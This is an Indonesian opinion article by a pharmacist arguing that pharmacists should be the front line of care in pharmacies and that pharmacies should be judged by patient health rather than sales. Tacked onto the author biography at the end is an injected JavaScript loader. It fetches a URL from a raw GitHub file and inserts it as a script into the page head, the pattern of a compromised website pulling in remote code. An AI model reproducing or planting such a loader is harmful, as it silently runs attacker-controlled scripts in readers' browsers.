Apoteker sebagai Garda Depan Kesehatan di Apotek
Apoteker merupakan profesi kesehatan dan sebagai ahli dibidang sediaan farmasi. Keberadaannya nyata bermanfaat dalam optimalisasi kesehatan. Apotek mejadi satu tempat praktik bagi Apoteker. Apotek harus segera bertransformasi bukan hanya sekadar tempat untuk “membeli obat” melainkan harus hadir sebagai sarana pelayanan sediaan farmasi bagi masyarakat dengan kepemimpinan seorang Apoteker yang berpraktik di apotek tersebut.
Umumnya, di apotek terdapat lebih dari 500 item sediaan farmasi dan obat. Jam operasional dari pagi hingga malam, bahkan ada apotek yang memiliki jam operasional 24 jam untuk melayani pelayanan sediaan farmasi dan obat bagi masyarakat. Ini merupakan indikasi, apotek memiliki peran strategis untuk dapat memberikan pelayanan kesehatan untuk kondisi minor illness, sebagai gangguan awal yang dirasakan tubuh pasien. Sehingga masyarakat lebih cepat, hemat dan mudah menjangkau aksesnya. Disinilah fungsi sejati praktik apoteker, menjadi garda terdepan untuk memberikan respon terhadap gejala / gangguan kesehatan yang dialami pasien. Untuk sampai ketitik sasaran tepat sediaan dan tepat obat, ini hanya bisa dilakukan oleh professional di bidangnya, yaitu seorang Apoteker!
Agar Apoteker dapat bertransformasi ke arah praktik apoteker klinis, mebutuhkan sebuah sistem peningkatan keterampilan berbasis kasus real lapangan secara simultan. Practice teach others, dalam bentuk sharing session antar praktisi. Gairah ini perlu dimunculkan lebih, secara komunal dalam bingkai komunitas atau perkumpulan untuk melahirkan perbaikan yang berkelanjutan bagi para praktisi apoteker.
Apotek bukan toko yang menjual obat dan perbekalan farmasi. Parameter omset apotek sudah nyata-nyata salah, karena apotek bukan sarana jual beli seperti toko kelontong untuk pemenuhan komoditas. Apotek tolak ukurnya mesti bertransformasi pencegahan penyakit, perbaikan kondisi tubuh dan kesembuhan pasien. Jadi, bukan semata-mata omset!. Untuk mencapai hal tersebut, mustahil tanpa keberadaan apoteker. Masyarakat yang hanya dilayani ‘karyawan apotek’, mustahil akan mencapai derajat pencegahan, perbaikan dan pengobatan yang tepat. Ujung-ujungnya, yang dirugikan adalah pasien, masyarakat sendiri dan negara.
Apoteker di apotek membawa misi optimalisasi kesehatan pasien, bukan semata agar obat dan perbekalan di apotek terjual laku keras equivalen kenaikan omset. Ya, apoteker di apotek itu praktik profesional. Bukan bekerja untuk menaikkan omset apotek saja. Jika apoteker memiliki tujuan bekerja di apotek untuk melejitkan omset, maka cara-cara apapun akan dilakukan dengan tolak ukur hasil adalah omset melejit. Ada potensi sangat bahaya terhadap pasien, jika yang demikian dilakukan. Namun, jika tolak ukurnya apoteker di apotek adalah perbaikan kualitas hidup pasien dan kesembuhan, maka secara otomatis pasien diuntungkan dan apotek juga diuntungkan, plus mendapatkan nilai kepercayaan masyarakat yang tinggi.
Konsumsi obat tidaklah sama seperti konsumsi makanan ringan. Harus diatur dengan ketepatan serta kesesuaian dengan assasment (penilaian kondisi pasien), agar obat tidak menjadi racun dan sampah di tubuh. Apa jadinya jika penilaian terhadap kondisi pasien ini tidak dilakukan? Pasien justru mengkonsumsi ‘sampah’ dan racun tadi. Siapakah yang tepat untuk melakukan penilaian kondisi ketepatan obat ke pasien di apotek? Sudah pasti adalah Apoteker! Praktik apoteker klinis di apotek seperti inilah yang akan menjadi harapan, masyarakat akan disuguhkan oleh para praktisi apoteker dengan informasi, edukasi, tata cara pakai, optimalisasi bahkan motoring pasca penyerahan obat oleh apoteker. Inilah praktik nyata apoteker dalam mendorong percepatan kesehatan.
Utamakan apoteker, untuk tepat obat anda dan keluarga. Pilih apotek yang bisa bertemu apoteker, karena optimalisasi kemanjuran obat dimulai dari sini.
Oleh:
apt Roviq Adi Prabowo, RFP., CT.NNLP.
Penulis adalah Apoteker sekaligus Presidium Nasional Organisasi Profesi Apoteker Farmasis Indonesia Bersatu (FIB), Trainer One Academy dan Business Coach. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
Lanjutkan